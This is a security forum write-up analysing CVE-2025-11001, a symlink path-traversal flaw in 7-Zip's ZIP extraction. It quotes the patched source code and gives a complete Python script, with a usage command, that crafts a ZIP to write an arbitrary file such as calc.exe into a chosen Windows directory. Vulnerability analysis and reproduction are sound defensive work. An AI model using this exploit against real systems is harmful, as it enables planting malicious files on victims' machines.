问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
CVE-2025-11001 7-Zip 远程代码执行漏洞 分析与复现
漏洞分析
CVE-2025-11001
一、漏洞简介 ====== 7-Ziр是一款开源、跨平台的压缩与归档管理工具,支持ZIP、RAR、7z、TAR等数十种格式,提供图形与命令行双接口,被个人用户、企业脚本、备份系统、安全沙箱及邮件网关广泛集成,用于打包、加密、分卷及自动化解压。该漏洞存在于≤24.09版本中,成因是ZIP解压模块对符号链接及文件名的路径净化不完整,允许存档内构造“../../../”或绝对路径形式的条目,写入任意外部目录. 二、影响版本 ====== - 7-zip ≤24.09 三、漏洞分析 ======  - diff 一下 搜索2025-07-05和2025-08-03 - 看到patch在./CPP/7zip/UI/Common/ArchiveExtractCallback.cpp 翻一翻看到补丁位置:  首先进入*CArchiveExtractCallback::GetStream* ```c++ #ifdef SUPPORT_LINKS RINOK(ReadLink()) // step one #endif // SUPPORT_LINKS ```  判断,设置isRelative = true;下一步进入GetExtractStream:  进行参数处理,进入SetFromLinkPath,这里就是绕过限制的地方,直接放代码吧: ```c if (linkInfo.isRelative) // ReadLink set True (sylink) STEP 4 relatPath = GetDirPrefixOf(_item.Path); // Get the zip parent Dir relatPath += linkInfo.linkPath; // += Linkpath (something may be control) if (!IsSafePath(relatPath)) // isSafePath("ZIP PAR DIR" + "C:\\ATTACK") So IS True { return SendMessageError2( 0, // errorCode "Dangerous link path was ignored", us2fs(_item.Path), us2fs(linkInfo.linkPath)); // us2fs(relatPath) } ``` 这里的因为之前ReadLink设置了isRelative为True所以通过,relatPath在注释里写的很清楚了,我们来看一下限制逻辑,代码如下: ```c bool IsSafePath(const UString &path) { CLinkLevelsInfo levelsInfo; levelsInfo.Parse(path); return !levelsInfo.IsAbsolute && levelsInfo.LowLevel >= 0 && levelsInfo.FinalLevel > 0; } ``` ```c void CLinkLevelsInfo::Parse(const UString &path) { IsAbsolute = NName::IsAbsolutePath(path); // False LowLevel = 0; FinalLevel = 0; UStringVector parts; SplitPathToParts(path, parts); int level = 0; FOR_VECTOR (i, parts) { const UString &s = parts[i]; if (s.IsEmpty()) { if (i == 0) IsAbsolute = true; continue; } if (s == L".") continue; if (s == L"..") { level--; if (LowLevel > level) LowLevel = level; } else level++; } FinalLevel = level; } ```   由于之前isRelative设置为True,所以这里校验的0位和1位是zip的父目录,通过,之后还有一个校验: ```c++ { #ifdef _WIN32 if (_item.IsDir) #endif if (linkInfo.isRelative) { CLinkLevelsInfo levelsInfo; levelsInfo.Parse(linkInfo.linkPath); if (levelsInfo.FinalLevel < 1 || levelsInfo.IsAbsolute) { return SendMessageError2( 0, // errorCode "Dangerous symbolic link path was ignored", us2fs(_item.Path), us2fs(linkInfo.linkPath)); } } } ``` 这里由于写了 ```c++ if (_item.IsDir) ``` 所以之后的安全检查不会进入,这是第三个绕过,之后就是创建符号链接RCE流程了:  复现 == 利用脚本: ```php import argparse import os import time import zipfile def add_dir(z, arcname): if not arcname.endswith('/'): arcname += '/' zi = zipfile.ZipInfo(arcname) zi.date_time = time.localtime(time.time())[:6] zi.create_system = 3 zi.external_attr = (0o040755 << 16) | 0x10 zi.compress_type = zipfile.ZIP_STORED z.writestr(zi, b'') def add_symlink(z, arcname, target): zi = zipfile.ZipInfo(arcname) zi.date_time = time.localtime(time.time())[:6] zi.create_system = 3 zi.external_attr = (0o120777 << 16) zi.compress_type = zipfile.ZIP_STORED z.writestr(zi, target.encode('utf-8')) def add_file_from_disk(z, arcname, src_path): with open(src_path, 'rb') as f: payload = f.read() zi = zipfile.ZipInfo(arcname) zi.date_time = time.localtime(time.time())[:6] zi.create_system = 3 zi.external_attr = (0o100644 << 16) zi.compress_type = zipfile.ZIP_STORED z.writestr(zi, payload) def main(): parser = argparse.ArgumentParser( description="Crafts a zip that exploits CVE-2025-11001." ) parser.add_argument( "--zip-out", "-o", required=True, help="Path to the output ZIP file." ) parser.add_argument( "--symlink-target", "-t", required=True, help="Destination path the symlink points to - specify a \"C:\" path" ) parser.add_argument( "--data-file", "-f", required=True, help="Path to the local file to embed e.g an executable or bat script." ) parser.add_argument( "--dir-name", default="data", help="Top-level directory name inside the ZIP (default: data)." ) parser.add_argument( "--link-name", default="link_in", help="Symlink entry name under the top directory (default: link_in)." ) args = parser.parse_args() top_dir = args.dir_name.rstrip("/") link_entry = f"{top_dir}/{args.link_name}" embedded_name = os.path.basename(args.data_file) file_entry = f"{link_entry}/{embedded_name}" with zipfile.ZipFile(args.zip_out, "w") as z: add_dir(z, top_dir) add_symlink(z, link_entry, args.symlink_target) add_file_from_disk(z, file_entry, args.data_file) print(f"Wrote {args.zip_out}") if __name__ == "__main__": main() ``` 用法: ```php python3 exploity.py -t "C:\Users\pac\Desktop" -o demo.zip --data-file calc.exe ``` - 生成zip文件 - 以管理员权限打开7-zip - 解压,到指定的目录查看是否成功写入文件  如图1.js文件,成功写入。(由于测试机没装py环境,用的mac没exe文件,故用1.js文件替代)
发表于 2025-11-26 09:33:51
阅读 ( 425 )
分类:
其他
0 推荐
收藏
0 条评论
请先
登录
后评论
hahaha123
苦逼高中生......
3 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!